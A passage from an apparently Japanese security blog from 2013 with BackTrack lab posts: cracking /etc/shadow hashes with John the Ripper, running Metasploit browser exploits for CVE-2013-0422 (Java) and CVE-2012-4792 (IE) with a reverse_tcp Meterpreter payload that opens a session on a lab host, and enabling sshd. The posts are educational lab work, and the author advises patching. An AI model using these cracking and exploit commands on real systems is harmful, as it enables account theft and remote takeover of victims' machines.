00000020  a4 c2 7f b1 25 2a 9d f7  a0 3d 16 85 98 95 98 4a  |....%*...=.....J|
00000030  66 22 3b 5a 30 49 0d 26  51 03 c5 93 cc 75 35 1b  |f";Z0I.&Q....u5.|
00000040
共通鍵方式とは異なり先頭ビットが異なる
このファイルを復号するには次のコマンドを使用

root@bt:~# openssl rsautl -decrypt -inkey private.pem -in out_file.enc 
Enter pass phrase for private.pem:
Hello world!!
This is test file
root@bt:~# 

2013年1月16日水曜日

john the ripper の使い方

Backtrack に収録されているパスワードクラックツール john the ripper の使い方。
/etc/shadow ファイルが必要なので root 権限が必要になる。
実際に使う場面としては root 権限はあるが他のユーザのパスワードを取得したい時などになる。

Linux 系のシステムではユーザとパスワードは以下の二つのファイルで管理されている。

/etc/passwd
/etc/shadow

passwd がユーザ属性が記述してあり、shadow がハッシュ化されたパスワードが格納されている。
john the ripper ではこの二つのファイルからパスワードを解析する。

ここでは、Backtrack のファイルを解析する。
まず最初に passwd ファイルと shadow ファイルを手元にコピーして john the ripper が解析できる形式に変換する。

root@bt:~# cp /etc/passwd ./passwd
root@bt:~# cp /etc/shadow ./shadow
変換するコマンドは unshadow で、pass ファイルと shadow ファイルを読み込ませて出力ファイルを設定する。
root@bt:~# /pentest/passwords/john/unshadow
Usage: unshadow PASSWORD-FILE SHADOW-FILE
root@bt:~# /pentest/passwords/john/unshadow passwd shadow > pass_shadow
root@bt:~# ls
Desktop  pass_shadow  passwd  shadow

ファイルができたら解析する。

root@bt:~# /pentest/passwords/john/john pass_shadow 
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [32/32])
toor             (root)
guesses: 1  time: 0:00:00:00 DONE (Wed Jan 16 21:07:35 2013)  c/s: 23.33  trying: toor
Use the "--show" option to display all of the cracked passwords reliably
root@bt:~# 


これで解析できた。

ただし、実際の環境でこのコマンドを実行すると複数の解析モードが複数のユーザに対して延々実行されるのでかなりの時間がかかる。
実際に試す場合は下記のオプションを使い分ける。

john --single file_name : シングルモード、ユーザ名に含まれる情報から推測する、お手軽
john --wordlist=word_list file_name : 辞書解析、実質的に使えるのはこのモードまで
john --incremental file_name : ブルートフォースアタック、あまり使わないと思う


あとは、ユーザ名を付け加えるぐらいで十分。
john --users=user_name

解析が終わって結果を見る場合は --show コマンドで元のファイルを表示させる
./john --show pass_shadow

2013年1月15日火曜日

CVE-2013-0422 Java 7 任意のコードが実行可能な脆弱性

2013年1月10日に Java の脆弱性が報告されていた。
内容としては Java のサンドボックスを回避され任意のコードが実行可能な脆弱性とのこと。
以下 JVN を参照。
http://jvn.jp/cert/JVNTA13-010A/index.html

この脆弱性を利用した metasploit のモジュールがリリースされていたので試してみる。
ソースコードと説明は以下の通り。

ソースコード。
http://www.exploit-db.com/exploits/24045/

metasploit の説明
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Rank = ExcellentRanking となっているので期待して試してみる。
クライアントサイドの環境としては Windows XP SP3 / IE8 / Java7u6 となる。


msf > use exploit/multi/browser/java_jre17_jmxbean 
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_jmxbean) > set srvhost 192.168.1.1
srvhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set srvport 80
srvport => 80
msf  exploit(java_jre17_jmxbean) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set lport 8080
lport => 8080
msf  exploit(java_jre17_jmxbean) > set uripath java
uripath => java
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:8080 
[*] Using URL: http://192.168.1.1:80/java
[*] Server started.
msf  exploit(java_jre17_jmxbean) > 
msf  exploit(java_jre17_jmxbean) > 
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] Sending stage (30216 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:8080 -> 192.168.1.2:1059) at 2013-01-15 21:20:20 +0900

msf  exploit(java_jre17_jmxbean) > show sessions

Active sessions
===============

  Id  Type                   Information                 Connection
  --  ----                   -----------                 ----------
  1   meterpreter java/java  test @ test  192.168.1.1:8080 -> 192.168.1.2:1059 (192.168.1.2)



成功した。
なお、Java6u15 が手元にあったので試しにそちらを試してみたところ失敗した。
Java7 のみの脆弱性なのかもしれないが、どちらにしても1月15日に修正版がりりーすされているので、そちらを適用するのがいい。

2013年1月8日火曜日

Back Track での sshd の有効化

Back Track をインストールして初めて sshd を起動し、リモートからログインしようと思ってできなかった。
調べてみると単純にサーバの公開鍵がなかっただけ。
なので、下記のコマンドを実行して鍵を生成後に sshd を起動すればよい。

sshd-generate

Back Track のデフォルトの状態では root ログインできるし、iptables もないので、上記コマンドだけ実行すれば問題ないはず。

あとは、下記のようにコマンドラインで起動するかメニューから起動するだけ。

/etc/init.d/ssh start

2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。